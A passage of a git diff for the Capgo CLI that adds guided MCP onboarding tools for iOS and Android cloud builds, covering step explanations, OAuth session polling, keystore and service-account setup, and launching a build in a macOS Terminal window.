key.\nWHAT TO DO: Provide the store password for that keystore file.', + 'keystore-existing-alias-select': 'WHAT: Your keystore holds more than one key; pick which alias signs the app.\nWHY: The alias selects the exact signing key.\nWHAT TO DO: Choose the alias you normally release with (often "release" or your app name).', + 'keystore-existing-alias': 'WHAT: Enter the alias (key name) inside your keystore.\nWHY: It selects which key signs your app.\nWHAT TO DO: Provide the alias you use for release signing.', + 'keystore-existing-key-password': 'WHAT: We need the password for the specific key (alias) inside your keystore.\nWHY: The key can have its own password separate from the store password.\nWHAT TO DO: Provide the key password (often the same as the store password).', + // ── Service account fork ───────────────────────────────────────────────────── + 'service-account-method-select': 'WHAT: A Google Play "service account" is a special Google credential (a JSON key file) that grants Capgo permission to upload and publish builds to YOUR Google Play account on your behalf.\nWHY: Capgo needs Play access to deliver your Android builds. Without it, Capgo can build the app but cannot push it to Google Play.\nOPTIONS: "generate" (recommended) — sign in with Google once and Capgo creates and wires up the service account for you automatically. "existing" — you already have a service-account JSON file and want to use it.\nWHAT TO DO: If you are not sure, choose "generate" — it is the guided, one-sign-in path. Choose "existing" only if you already manage your own Play service account.', + 'sa-json-existing-path': 'WHAT: We need the path to your Google Play service-account JSON key file.\nWHY: That file is the credential Capgo uses to upload to Play.\nWHAT TO DO: Provide the absolute path to the .json key you downloaded from Google Cloud.', + 'sa-json-existing-picker': 'WHAT: We found candidate service-account JSON files; pick one.\nWHY: The right key must have Play upload permission for your app.\nWHAT TO DO: Choose the JSON that belongs to your Play service account, or provide a path.', + 'sa-json-validation-failed': 'WHAT: The service-account JSON you provided did not validate.\nWHY: It may be the wrong file, lack Play permissions, or be malformed.\nOPTIONS: try a different file, switch to the guided Google sign-in, or save anyway.\nWHAT TO DO: Use the guided "generate" path if you are unsure which JSON is correct.', + 'android-service-account-invalid': 'WHAT: The saved service account could not be used for Play access.\nWHY: The credential is missing required permissions or is no longer valid.\nWHAT TO DO: Re-run the service-account setup (guided Google sign-in is simplest).', + // ── Google sign-in / Play / GCP ────────────────────────────────────────────── + 'google-sign-in': 'WHAT: We will open your browser for a Google sign-in.\nWHY: Capgo uses your one-time Google authorization to create and wire up the Play service account for you. Your tokens are used only during setup and revoked afterwards; they never reach Capgo servers.\nWHAT TO DO: Approve every requested permission in the browser, then tell me to continue.', + 'play-developer-id-input': 'WHAT: We need your Google Play developer account ID.\nWHY: The Play API cannot list your accounts, so you copy the ID from the Play Console URL.\nWHAT TO DO: Open Play Console, copy the developer ID from the URL, and paste it here.', + 'gcp-projects-select': 'WHAT: Pick which Google Cloud project to use for the service account.\nWHY: The service account and its key live inside a Google Cloud project.\nWHAT TO DO: Choose an existing project, or pick "create new" to make one for Capgo.', + 'gcp-project-create-name': 'WHAT: Name the new Google Cloud project we will create.\nWHY: Capgo provisions the service account inside this project.\nWHAT TO DO: Any clear name works (e.g. "capgo-builds").', + 'android-package-select': 'WHAT: Choose which Android package (application id) to grant Play access to.\nWHY: The service account is granted upload permission for a specific package.\nWHAT TO DO: Pick the package that matches the app you are shipping.', + // ── Build phase ────────────────────────────────────────────────────────────── + 'build-ready': 'WHAT: Credentials are set up; you can run your first cloud build now.\nWHY: This produces a real signed build in the cloud to confirm everything works.\nWHAT TO DO: Choose to build now, or skip — onboarding still completes either way.', + 'build-run-handoff': 'WHAT: We are handing off to run the build.\nWHY: The build runs in the cloud and you can watch its progress.\nWHAT TO DO: Follow the instructions to start/track the build.', + 'build-failed': 'WHAT: The cloud build failed.\nWHY: Could be a code/build-config issue or a credentials problem.\nWHAT TO DO: Check the build log shown, fix the cause, and retry.', + 'build-appid-unsafe': 'WHAT: The app id contains characters that are unsafe to put in a shell command.\nWHY: We refuse to build with an app id that could be misinterpreted by the shell.\nWHAT TO DO: Use a normal reverse-domain app id (letters, digits, dots).', + // ── CI secrets / GitHub Actions / env export sub-flow ──────────────────────── + 'ask-ci-secrets': 'WHAT: Optionally store your build credentials as CI secrets.\nWHY: CI secrets let your pipeline build without re-entering credentials.\nWHAT TO DO: Say yes to set them up now, or skip and do it later.', + 'ci-secrets-target-select': 'WHAT: Choose where to store the CI secrets.\nWHY: Different CI providers store secrets in different places.\nWHAT TO DO: Pick your CI target (e.g. GitHub).', + 'confirm-ci-secret-overwrite': 'WHAT: A CI secret with this name already exists.\nWHY: We do not overwrite secrets without asking.\nWHAT TO DO: Confirm to overwrite, or cancel to keep the existing value.', + 'ci-secrets-failed': 'WHAT: Uploading the CI secrets failed.\nWHY: Often a permissions or token-scope issue with the CI provider.\nWHAT TO DO: Check the error, confirm your CI access, and retry.', + 'ask-github-actions-setup': 'WHAT: Optionally add a GitHub Actions workflow that builds your app.\nWHY: It automates cloud builds on push/PR.\nWHAT TO DO: Say yes to generate a workflow file, or skip.', + 'confirm-secrets-push': 'WHAT: Confirm pushing the secrets needed by the workflow.\nWHY: The workflow needs these secrets to build.\nWHAT TO DO: Confirm to proceed.', + 'ask-export-env': 'WHAT: Optionally export your credentials to a local .env file.\nWHY: Handy for local builds and scripts.\nWHAT TO DO: Say yes to write a .env, or skip.', + 'confirm-env-export-overwrite': 'WHAT: A .env file already exists.\nWHY: We do not overwrite it without asking.\nWHAT TO DO: Confirm to overwrite or cancel to keep yours.', + 'pick-package-manager': 'WHAT: Choose your package manager for the generated workflow.\nWHY: The workflow installs deps using it.\nWHAT TO DO: Pick npm/pnpm/yarn/bun to match your project.', + 'pick-build-script': 'WHAT: Choose which build script the workflow should run.\nWHY: It needs to know how to build your web assets.\nWHAT TO DO: Pick the script from your package.json (or "custom").', + 'pick-build-script-custom': 'WHAT: Enter a custom build command for the workflow.\nWHY: Your build does not match a standard script.\nWHAT TO DO: Provide the exact command to build your web assets.', + 'preview-workflow-file': 'WHAT: Review the GitHub Actions workflow file before writing it.\nWHY: So you see exactly what will be added to your repo.\nWHAT TO DO: Read it, then approve or adjust.', + 'view-workflow-diff': 'WHAT: Review the diff against your existing workflow file.\nWHY: So you do not lose existing CI configuration.\nWHAT TO DO: Review the changes, then approve.', +} + +/** Return the explanation for a state, or a generic fallback for unknown states. */ +export function explainForState(state: string | undefined | null): string { + if (state && Object.prototype.hasOwnProperty.call(EXPLANATIONS, state)) + return EXPLANATIONS[state] + return FALLBACK +} diff --git a/cli/src/build/onboarding/mcp/oauth-session.ts b/cli/src/build/onboarding/mcp/oauth-session.ts new file mode 100644 index 0000000000..bdb53af763 --- /dev/null +++ b/cli/src/build/onboarding/mcp/oauth-session.ts @@ -0,0 +1,110 @@ +// src/build/onboarding/mcp/oauth-session.ts +// +// Module-level pending-session registry for the MCP fire-and-poll OAuth model. +// +// The MCP server process is long-lived; Google sign-in is started on one tool +// call (browser opens) and collected on a later "continue" call. This registry +// tracks the in-flight session per appId so the bridge can check status without +// blocking a single MCP tool call on the full OAuth round-trip. +// +// Lifecycle per appId: +// beginOAuthSession(appId, start) +// → clears any prior entry +// → calls start() to get the PendingOAuthSession +// → stores { session, status:'pending' } +// → attaches .then/.catch so status advances to 'done'/'error' +// +// pollOAuthSession(appId) +// → returns { status, tokens?, error? } or { status: 'absent' } +// +// clearOAuthSession(appId) +// → calls session.close() and deletes the entry + +import type { GoogleOAuthTokens } from '../android/oauth-google.js' +import type { PendingOAuthSession } from '../android/oauth-google.js' + +// Re-export so callers can reference the type without importing oauth-google +export type { PendingOAuthSession } + +interface OAuthSessionEntry { + /** Absent when begin() itself failed before a real session was created. */ + session?: PendingOAuthSession + status: 'pending' | 'done' | 'error' + tokens?: GoogleOAuthTokens + error?: Error +} + +const registry = new Map() + +/** + * Start a new OAuth session for `appId`, replacing any existing one. + * + * `start` is a factory that returns a `PendingOAuthSession` (e.g. + * `() => startOAuthFlow(config, options)`). Passing a factory rather than the + * session directly lets the caller defer construction until after the prior + * session has been cleaned up. + */ +export async function beginOAuthSession( + appId: string, + start: () => Promise, +): Promise { + // Evict any prior session for this appId (safe even if status is 'done'). + clearOAuthSession(appId) + + let session: PendingOAuthSession + try { + session = await start() + } + catch (err) { + const error = err instanceof Error ? err : new Error(String(err)) + // Record the error so pollOAuthSession returns { status: 'error' } instead + // of 'absent'. No real session was created, so `session` is omitted. + registry.set(appId, { status: 'error', error }) + // Re-throw so the caller still knows begin() failed. + throw err + } + + const entry: OAuthSessionEntry = { session, status: 'pending' } + registry.set(appId, entry) + + // Advance the status when the result settles (this does NOT block the caller). + session.result + .then((tokens: GoogleOAuthTokens) => { + entry.status = 'done' + entry.tokens = tokens + }) + .catch((err: unknown) => { + entry.status = 'error' + entry.error = err instanceof Error ? err : new Error(String(err)) + }) +} + +/** + * Poll the current status for `appId`. + * + * Returns `{ status: 'absent' }` when no session has been started or the + * entry has been cleared. Otherwise returns the entry's current + * `status`/`tokens`/`error`. + */ +export function pollOAuthSession(appId: string): { + status: 'pending' | 'done' | 'error' | 'absent' + tokens?: GoogleOAuthTokens + error?: Error +} { + const entry = registry.get(appId) + if (!entry) + return { status: 'absent' } + return { status: entry.status, tokens: entry.tokens, error: entry.error } +} + +/** + * Close and remove the session entry for `appId`. Safe to call on an absent + * appId or after the result has already settled. + */ +export function clearOAuthSession(appId: string): void { + const entry = registry.get(appId) + if (entry) { + entry.session?.close?.() + registry.delete(appId) + } +} diff --git a/cli/src/build/onboarding/mcp/onboarding-tools.ts b/cli/src/build/onboarding/mcp/onboarding-tools.ts new file mode 100644 index 0000000000..9fa56a0342 --- /dev/null +++ b/cli/src/build/onboarding/mcp/onboarding-tools.ts @@ -0,0 +1,348 @@ +// src/build/onboarding/mcp/onboarding-tools.ts +import { Buffer } from 'node:buffer' +import { existsSync } from 'node:fs' +import { copyFile, mkdir, readFile, writeFile } from 'node:fs/promises' +import { join, resolve, sep } from 'node:path' +import process from 'node:process' +import type { CapgoSDK } from '../../../sdk.js' +import type { OnboardingNextStepInput } from '../../../schemas/onboarding.js' +import { isAppAlreadyExistsError } from '../../../init/app-conflict.js' +import { onboardingNextStepSchema } from '../../../schemas/onboarding.js' +import { findSavedKeySilent, formatError, getAppId, getConfig } from '../../../utils.js' +import { loadSavedCredentials, updateSavedCredentials } from '../../credentials.js' +import { getPlatformDirFromCapacitorConfig } from '../../platform-paths.js' +import type { AndroidEffectDeps } from '../android/flow.js' +import { findAndroidApplicationIds } from '../android/gradle-parser.js' +import { generateKeystore, listKeystoreAliases, sanitizeKeystoreAlias, tryUnlockPrivateKey } from '../android/keystore.js' +import { fetchCapgoOAuthConfig } from '../android/oauth-config.js' +import { fetchUserInfo, refreshAccessToken, revokeToken, runOAuthFlow, startOAuthFlow } from '../android/oauth-google.js' + +import { OAUTH_SCOPES_FOR_ONBOARDING } from '../android/oauth-scopes.js' +import { createProject, createServiceAccountKey, enableService, ensureServiceAccount, listProjects } from '../android/gcp-api.js' +import { inviteServiceAccount } from '../android/play-api.js' +import { deleteAndroidProgress, loadAndroidProgress, saveAndroidProgress } from '../android/progress.js' +import { validateServiceAccountJson } from '../android/service-account-validation.js' +import { createCertificate, createProfile, ensureBundleId, generateJwt, verifyApiKey } from '../apple-api.js' +import { createP12, DEFAULT_P12_PASSWORD, generateCsr } from '../csr.js' +import { loadProgress, saveProgress } from '../progress.js' +import { defaultBuildRecordPath, readBuildOutputRecord } from '../../output-record.js' +import type { Platform } from './contract.js' +import { renderResult } from './contract.js' +import type { EngineDeps } from './engine.js' +import { explainOnboarding, runAdvance, runStart } from './engine.js' +import { canLaunchTerminal, launchBuildInTerminal } from './terminal-launch.js' + +/** Minimal shape of the MCP server's tool registrar (matches McpServer.tool). */ +interface McpLike { + tool: ( + name: string, + description: string, + schema: Record, + handler: (args: any) => Promise<{ content: Array<{ type: 'text', text: string }> }>, + ) => unknown +} + +/** + * Build the AndroidEffectDeps wiring that the MCP bridge (Task 4) will use + * to drive the headless core. The function pre-binds the OAuth client config + * and the android project dir so the core never sees credentials or paths + * directly — config policy lives here in the driver. + */ +function buildAndroidEffectDeps( + cwd: string, + getAppIdFn: () => Promise, +): AndroidEffectDeps { + // Local OAuth config cache — fetched once per buildAndroidEffectDeps lifetime. + let configCache: Awaited> | undefined + + async function getConfig_(): Promise>>> { + if (configCache === undefined) { + configCache = await fetchCapgoOAuthConfig() + } + if (!configCache) { + throw new Error( + 'Android OAuth onboarding is not available — the Capgo backend has no Google OAuth client configured. ' + + 'Use the manual service-account flow instead.', + ) + } + return configCache + } + + // Local access-token cache — cleared when the refresh token is revoked. + // Stores the token alongside its expiry so we can detect and refresh stale tokens. + let cachedAccessToken: { token: string, expiresAt: number } | null = null + + async function getAccessToken(): Promise { + // Return cached token only if it is still valid with a 60s safety margin. + if (cachedAccessToken && Date.now() < cachedAccessToken.expiresAt - 60_000) { + return cachedAccessToken.token + } + const appId = await getAppIdFn() + if (!appId) { + throw new Error('Not signed in — re-run onboarding to re-authenticate with Google.') + } + const progress = await loadAndroidProgress(appId) + const refreshToken = progress?._oauthRefreshToken + if (!refreshToken) { + throw new Error('Not signed in — re-run onboarding to re-authenticate with Google.') + } + const cfg = await getConfig_() + const tokens = await refreshAccessToken( + { clientId: cfg.clientId, clientSecret: cfg.clientSecret, scopes: OAUTH_SCOPES_FOR_ONBOARDING }, + refreshToken, + ) + cachedAccessToken = { token: tokens.accessToken, expiresAt: tokens.expiresAt } + return tokens.accessToken + } + + return { + // ── Keystore ────────────────────────────────────────────────────────────── + generateKeystore, + listKeystoreAliases, + tryUnlockPrivateKey, + + // ── Service account validation ──────────────────────────────────────────── + validateServiceAccountJson, + + // ── Build credentials persistence ───────────────────────────────────────── + updateSavedCredentials, + loadSavedCredentials: (appId: string) => loadSavedCredentials(appId), + + // ── Onboarding progress persistence ─────────────────────────────────────── + saveAndroidProgress, + loadAndroidProgress, + deleteAndroidProgress, + + // ── File system ─────────────────────────────────────────────────────────── + readFile: (path: string) => readFile(path) as Promise, + copyFile, + + // ── OAuth ───────────────────────────────────────────────────────────────── + runOAuthFlow: async (callbacks) => { + const cfg = await getConfig_() + return runOAuthFlow( + { clientId: cfg.clientId, clientSecret: cfg.clientSecret, scopes: OAUTH_SCOPES_FOR_ONBOARDING }, + callbacks, + ) + }, + startOAuthFlow: async (callbacks) => { + const cfg = await getConfig_() + return startOAuthFlow( + { clientId: cfg.clientId, clientSecret: cfg.clientSecret, scopes: OAUTH_SCOPES_FOR_ONBOARDING }, + callbacks, + ) + }, + fetchUserInfo, + getAccessToken, + revokeToken: async (refreshToken: string) => { + cachedAccessToken = null + return revokeToken(refreshToken) + }, + + // ── GCP ─────────────────────────────────────────────────────────────────── + listProjects, + createProject, + enableService, + ensureServiceAccount, + createServiceAccountKey, + + // ── Play API ────────────────────────────────────────────────────────────── + inviteServiceAccount: async (args) => { + await inviteServiceAccount(args) + }, + + // ── Android Gradle detection ────────────────────────────────────────────── + findAndroidApplicationIds: async () => { + let androidDir = 'android' + try { + const ext = await getConfig(true) + androidDir = getPlatformDirFromCapacitorConfig(ext?.config, 'android') || 'android' + } + catch { + // Not a Capacitor project or config unreadable — fall back to 'android' + } + return findAndroidApplicationIds(androidDir, cwd) + }, + } +} + +/** Build the real IO deps from the SDK + CLI utils. */ +function buildDeps(sdk: CapgoSDK): EngineDeps { + const cwd = process.cwd() + const getAppIdClosure = async (): Promise => { + try { + const ext = await getConfig(true) + return getAppId(undefined, ext?.config) + } + catch { + return undefined + } + } + return { + cwd, + hasSavedKey: () => Boolean(findSavedKeySilent()), + getAppId: getAppIdClosure, + detectPlatforms: async () => { + const out: Platform[] = [] + try { + const ext = await getConfig(true) + const iosDir = getPlatformDirFromCapacitorConfig(ext?.config, 'ios') + const androidDir = getPlatformDirFromCapacitorConfig(ext?.config, 'android') + if (existsSync(join(cwd, iosDir))) + out.push('ios') + if (existsSync(join(cwd, androidDir))) + out.push('android') + } + catch { + // not a Capacitor project — leave empty + } + return out + }, + isAppRegistered: async (appId: string) => { + const res = await sdk.listApps() + if (!res.success || !res.data) + return false + return res.data.some((a: { app_id?: string, appId?: string }) => a.app_id === appId || a.appId === appId) + }, + loadProgress: (appId: string) => loadProgress(appId), + registerApp: async (appId: string) => { + const res = await sdk.addApp({ appId }) + if (res.success) + return { ok: true as const } + const error = res.error || 'Failed to register app' + return { ok: false as const, alreadyExists: isAppAlreadyExistsError(error), error } + }, + loadAndroidProgress: (appId: string) => loadAndroidProgress(appId), + finalizeAndroidCredentials: async (appId: string) => { + const prog = await loadAndroidProgress(appId) + if (!prog?.serviceAccountJsonPath) + return { ok: false as const, error: 'No service-account JSON path on file.' } + let jsonBytes: Buffer + try { + jsonBytes = await readFile(prog.serviceAccountJsonPath) + } + catch { + return { ok: false as const, error: `Could not read the service-account file at ${prog.serviceAccountJsonPath}.` } + } + const validation = await validateServiceAccountJson({ jsonBytes, packageName: appId }) + if (!validation.ok) + return { ok: false as const, error: validation.message } + if (!prog._keystoreBase64 || !prog.keystoreAlias || !prog.keystoreStorePassword || !prog.keystoreKeyPassword) + return { ok: false as const, error: 'Keystore is missing — re-run keystore generation.' } + await updateSavedCredentials(appId, 'android', { + ANDROID_KEYSTORE_FILE: prog._keystoreBase64, + KEYSTORE_KEY_ALIAS: prog.keystoreAlias, + KEYSTORE_KEY_PASSWORD: prog.keystoreKeyPassword, + KEYSTORE_STORE_PASSWORD: prog.keystoreStorePassword, + PLAY_CONFIG_JSON: jsonBytes.toString('base64'), + }) + await saveAndroidProgress(appId, { + ...prog, + completedSteps: { ...prog.completedSteps, serviceAccountProvisioned: { email: validation.serviceAccountEmail, projectId: validation.projectId } }, + }) + return { ok: true as const } + }, + readBuildRecord: readBuildOutputRecord, + buildRecordPath: defaultBuildRecordPath, + canLaunchTerminal: () => canLaunchTerminal(), + launchBuildInTerminal: (cmd: string) => launchBuildInTerminal(cmd), + setIosApiKey: async (appId: string, keyId: string, issuerId: string, p8Path: string) => { + const base = (await loadProgress(appId)) ?? { platform: 'ios' as const, appId, startedAt: new Date().toISOString(), completedSteps: {} } + await saveProgress(appId, { ...base, platform: 'ios', appId, setupMethod: 'create-new', keyId, issuerId, p8Path }) + }, + finalizeIosCredentials: async (appId: string) => { + const prog = await loadProgress(appId) + if (!prog?.keyId || !prog?.issuerId || !prog?.p8Path) + return { ok: false as const, error: 'Missing App Store Connect API key details.' } + try { + const p8Content = await readFile(prog.p8Path, 'utf-8') + const token = generateJwt(prog.keyId, prog.issuerId, p8Content) + await verifyApiKey(token) + const { csrPem, privateKeyPem } = generateCsr() + const cert = await createCertificate(token, csrPem) + const { p12Base64 } = createP12(cert.certificateContent, privateKeyPem) + const { bundleIdResourceId } = await ensureBundleId(token, appId) + const profile = await createProfile(token, bundleIdResourceId, cert.certificateId, appId) + await updateSavedCredentials(appId, 'ios', { + BUILD_CERTIFICATE_BASE64: p12Base64, + P12_PASSWORD: DEFAULT_P12_PASSWORD, + APPLE_KEY_ID: prog.keyId, + APPLE_ISSUER_ID: prog.issuerId, + APPLE_KEY_CONTENT: Buffer.from(p8Content).toString('base64'), + APP_STORE_CONNECT_TEAM_ID: cert.teamId, + CAPGO_IOS_PROVISIONING_MAP: JSON.stringify({ [appId]: profile.profileContent }), + }) + await saveProgress(appId, { + ...prog, + completedSteps: { + ...prog.completedSteps, + apiKeyVerified: { keyId: prog.keyId, issuerId: prog.issuerId }, + certificateCreated: { certificateId: cert.certificateId, expirationDate: cert.expirationDate, teamId: cert.teamId, p12Base64 }, + profileCreated: { profileId: profile.profileId, profileName: profile.profileName, profileBase64: profile.profileContent }, + }, + }) + return { ok: true as const } + } + catch (err) { + return { ok: false as const, error: formatError(err) } + } + }, + androidEffectDeps: buildAndroidEffectDeps(cwd, getAppIdClosure), + writeKeystoreFile: async (appId: string, base64: string, alias: string): Promise => { + // Write the generated/loaded keystore to android/app/.p12, mirroring + // the Ink wizard which uses the same path (keystore-generating hardcodes it). + // `alias` comes from user input — sanitize it for the ON-DISK filename only + // (the crypto alias / KEYSTORE_KEY_ALIAS keep the user's exact value). + const androidAppDir = join(cwd, 'android', 'app') + await mkdir(androidAppDir, { recursive: true }) + const safe = sanitizeKeystoreAlias(alias) + const filePath = join(androidAppDir, `${safe}.p12`) + // Defense-in-depth: the resolved path must stay inside androidAppDir. + const resolvedDir = resolve(androidAppDir) + const resolvedFile = resolve(filePath) + if (resolvedFile !== resolvedDir && !resolvedFile.startsWith(resolvedDir + sep)) + throw new Error('Refusing to write keystore outside the android/app directory.') + const bytes = Buffer.from(base64, 'base64') + await writeFile(filePath, bytes) + return filePath + }, + } +} + +/** + * Register the 2-tool onboarding spine onto an MCP server. + * `depsOverride` is for tests; production passes only `server` + `sdk`. + */ +export function registerOnboardingTools(server: McpLike, sdk: CapgoSDK, depsOverride?: EngineDeps): void { + const deps = depsOverride ?? buildDeps(sdk) + + server.tool( + 'start_capgo_builder_onboarding', + 'Start or resume guided Capgo Builder onboarding — set up native iOS/Android cloud builds, signing, and a first cloud build. Call this whenever the user wants to set up, configure, or troubleshoot native builds. Takes no arguments; it inspects the project and returns the first step.', + {}, + async () => { + const result = await runStart(deps) + return { content: [{ type: 'text' as const, text: renderResult(result) }] } + }, + ) + + server.tool( + 'capgo_builder_onboarding_next_step', + 'Advance the guided Capgo Builder onboarding by one step. Call ONLY as directed by the previous result\'s `next`. Pass the user\'s choice (e.g. platform) when the previous step asked for one.', + onboardingNextStepSchema.shape, + async (args: OnboardingNextStepInput) => { + const result = await runAdvance(deps, args) + return { content: [{ type: 'text' as const, text: renderResult(result) }] } + }, + ) + + server.tool( + 'capgo_builder_onboarding_explain', + 'Explain the CURRENT Capgo Builder onboarding step in plain language — call this whenever the user is confused, asks what a step means, or does not understand the options. Read-only; it never advances the flow.', + {}, + async () => { + const text = await explainOnboarding(deps) + return { content: [{ type: 'text' as const, text }] } + }, + ) +} diff --git a/cli/src/build/onboarding/mcp/step-input.ts b/cli/src/build/onboarding/mcp/step-input.ts new file mode 100644 index 0000000000..8d3a035b3f --- /dev/null +++ b/cli/src/build/onboarding/mcp/step-input.ts @@ -0,0 +1,72 @@ +// src/build/onboarding/mcp/step-input.ts +// The interactive android steps and the input field(s) each one accepts. Used to +// enforce step-by-step input: a next_step must carry EXACTLY ONE of the current +// step's allowed fields (and no other android key), or the engine rejects with a +// correction. Most steps accept a single field; a few navigation states collect +// a small set across consecutive calls while the resume step does not change +// (e.g. the existing-keystore unlock stays on keystore-existing-store-password +// while it gathers the store password and then, if needed, the key password). +import type { AndroidOnboardingStep } from '../android/types.js' + +/** state → the set of input fields that legitimately answer it (in order). */ +export const STEP_ALLOWED_FIELDS: Partial> = { + 'keystore-method-select': ['keystoreMethod'], + 'keystore-existing-path': ['keystorePath'], + // The existing-keystore unlock collects the store password, then (if needed) the + // key password, while the resume step can stay on store-password — accept both. + 'keystore-existing-store-password': ['keystoreStorePassword', 'keystoreKeyPassword'], + 'keystore-existing-alias-select': ['keystoreAlias'], + 'keystore-existing-alias': ['keystoreAlias'], + 'keystore-existing-key-password': ['keystoreKeyPassword'], + 'keystore-new-alias': ['keystoreNewAlias'], + // The password-method screen accepts only the random|manual choice. After + // "manual" the flow advances to keystore-new-store-password (its own step), + // where the store password is collected — it is never batched here. + 'keystore-new-password-method': ['keystorePasswordMethod'], + 'keystore-new-store-password': ['keystoreStorePassword'], + 'keystore-new-key-password': ['keystoreKeyPassword'], + 'keystore-new-cn': ['keystoreCommonName'], + 'service-account-method-select': ['serviceAccountMethod'], + 'sa-json-existing-path': ['serviceAccountJsonPath'], + 'sa-json-validation-failed': ['saMethodChoice'], + 'play-developer-id-input': ['playDeveloperId'], + 'gcp-projects-select': ['gcpProjectId'], + 'gcp-project-create-name': ['gcpProjectName'], + 'android-package-select': ['androidPackage'], +} + +/** The set of all android input keys we govern (for the extras check). */ +export const ANDROID_INPUT_KEYS: string[] = [ + 'keystoreMethod', 'keystorePath', 'keystoreStorePassword', 'keystoreAlias', + 'keystoreKeyPassword', 'keystoreNewAlias', 'keystorePasswordMethod', 'keystoreCommonName', + 'serviceAccountMethod', 'serviceAccountJsonPath', 'saMethodChoice', 'playDeveloperId', + 'gcpProjectId', 'gcpProjectName', 'androidPackage', +] + +/** + * Validate an incoming next_step input against the step it answers. + * + * Returns { ok:true } when the input carries EXACTLY ONE of the step's allowed + * fields and no other governed android key. Otherwise { ok:false } with the + * allowed fields + the offending extra keys for a corrective message. + * + * Steps with no allowed-field entry (auto/sign-in/no-field) are not governed and + * always pass — the strict gate only constrains interactive input steps. + * + * @param currentStep the resume step the user is currently on + * @param input the next_step input object + */ +export function validateStepInput( + currentStep: AndroidOnboardingStep, + input: Record, +): { ok: boolean, allowedFields?: string[], extras: string[] } { + const allowed = STEP_ALLOWED_FIELDS[currentStep] + const presentAndroidKeys = ANDROID_INPUT_KEYS.filter(k => input[k] !== undefined && input[k] !== null) + if (!allowed) + return { ok: true, extras: [] } // auto / no-field step — not governed + const presentAllowed = presentAndroidKeys.filter(k => allowed.includes(k)) + const extras = presentAndroidKeys.filter(k => !allowed.includes(k)) + // Exactly one allowed field, and no other governed key. (One field per call.) + const ok = presentAllowed.length === 1 && extras.length === 0 + return { ok, allowedFields: allowed, extras } +} diff --git a/cli/src/build/onboarding/mcp/terminal-launch.ts b/cli/src/build/onboarding/mcp/terminal-launch.ts new file mode 100644 index 0000000000..e4f55e8463 --- /dev/null +++ b/cli/src/build/onboarding/mcp/terminal-launch.ts @@ -0,0 +1,44 @@ +import { execFile } from 'node:child_process' +import process from 'node:process' +import { promisify } from 'node:util' + +const pExecFile = promisify(execFile) + +const defaultExec = (cmd: string, args: string[]): Promise => pExecFile(cmd, args) + +/** + * Build the arguments array for invoking osascript to open a Terminal window + * running `command`. Escapes backslashes first, then double-quotes, so that + * neither character can break out of the AppleScript string literal. + */ +export function buildOsascriptArgs(command: string): string[] { + const escaped = command.replace(/\\/g, '\\\\').replace(/"/g, '\\"') + const script = `tell application "Terminal" to do script "${escaped}"` + return ['-e', script] +} + +/** + * Returns true when the current platform is macOS (darwin). + * Accepts an explicit platform string for testability. + */ +export function canLaunchTerminal(platform: string = process.platform): boolean { + return platform === 'darwin' +} + +/** + * Launch `command` in a new macOS Terminal.app window via osascript. + * The optional `exec` parameter is injectable so tests never spawn a real + * process — pass a fake to avoid side effects. + */ +export async function launchBuildInTerminal( + command: string, + exec: (cmd: string, args: string[]) => Promise = defaultExec, +): Promise<{ ok: true } | { ok: false, error: string }> { + try { + await exec('osascript', buildOsascriptArgs(command)) + return { ok: true } + } + catch (err) { + return { ok: false, error: err instanceof Error ? err.message : String(err) } + } +} diff --git a/cli/src/build/output-record.ts b/cli/src/build/output-record.ts index 3d9bb0b4b9..5df692525c 100644 --- a/cli/src/build/output-record.ts +++ b/cli/src/build/output-record.ts @@ -1,5 +1,6 @@ -import { mkdir, writeFile } from 'node:fs/promises' -import { dirname, resolve } from 'node:path' +import { mkdir, readFile, writeFile } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { dirname, join, resolve } from 'node:path' import { cwd } from 'node:process' import QRCode from 'qrcode' @@ -83,6 +84,46 @@ export async function writeBuildOutputRecord( return record } +/** + * Returns a deterministic temp-file path for the build output record for a + * given (appId, platform) pair. Both the build hand-off (command emit) and + * the confirm (record read) call this helper so that the path is never passed + * back and forth across an MCP boundary. + * + * appId is sanitized: all `/` and `\` characters are replaced with `_`, and + * any `..` sequences are replaced with `_`, to prevent path traversal. + */ +export function defaultBuildRecordPath(appId: string, platform: 'ios' | 'android'): string { + const safe = appId.replace(/[/\\]/g, '_').replace(/\.\./g, '_') + return join(tmpdir(), `capgo-build-record-${safe}-${platform}.json`) +} + +/** + * Read a build output record from `path`. Returns the parsed `BuildOutputRecord` + * if the file exists, is valid JSON, and the parsed object contains a string + * `jobId` property. Returns `null` in all other cases (missing file, parse + * error, missing/wrong-type jobId). + */ +export async function readBuildOutputRecord(path: string): Promise { + try { + const raw = await readFile(path, 'utf-8') + const parsed: unknown = JSON.parse(raw) + if ( + typeof parsed === 'object' + && parsed !== null + && typeof (parsed as Record).jobId === 'string' + && typeof (parsed as Record).status === 'string' + && ((parsed as Record).outputUrl === null || typeof (parsed as Record).outputUrl === 'string') + ) { + return parsed as BuildOutputRecord + } + return null + } + catch { + return null + } +} + function stringifyError(error: unknown): string { if (error instanceof Error) return error.message diff --git a/cli/src/mcp/server.ts b/cli/src/mcp/server.ts index 72d13a4299..ba3de146f3 100644 --- a/cli/src/mcp/server.ts +++ b/cli/src/mcp/server.ts @@ -4,6 +4,7 @@ import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js' import { z } from 'zod' import pack from '../../package.json' import { enableSupabaseInstrumentation, setInvocationSource, trackMcpServerStarted, withMcpToolTracking } from '../analytics/track' +import { registerOnboardingTools } from '../build/onboarding/mcp/onboarding-tools' import { addAppOptionsSchema, cleanupOptionsSchema, getStatsOptionsSchema, requestBuildOptionsSchema, starAllRepositoriesOptionsSchema, starRepoOptionsSchema, updateAppOptionsSchema, updateChannelOptionsSchema, uploadOptionsSchema } from '../schemas/sdk' import { CapgoSDK } from '../sdk' import { findSavedKey } from '../utils' @@ -58,6 +59,9 @@ export async function startMcpServer(): Promise { } const sdk = new CapgoSDK({ apikey: savedApiKey }) + // Guided Capgo Builder onboarding (2-tool spine: start + next_step). + registerOnboardingTools(server, sdk) + // ============================================================================ // App Management Tools // ============================================================================ diff --git a/cli/src/schemas/onboarding.ts b/cli/src/schemas/onboarding.ts new file mode 100644 index 0000000000..6051bcb233 --- /dev/null +++ b/cli/src/schemas/onboarding.ts @@ -0,0 +1,30 @@ +// src/schemas/onboarding.ts +// Input schema for the guided Capgo Builder onboarding `next_step` MCP tool. +// Shared so the runtime validation and the handler's TS type stay in sync. +import { z } from 'zod' + +export const onboardingNextStepSchema = z.object({ + platform: z.enum(['ios', 'android']).optional().describe('Platform choice, when the previous step asked for it'), + serviceAccountJsonPath: z.string().optional().describe('Path to your 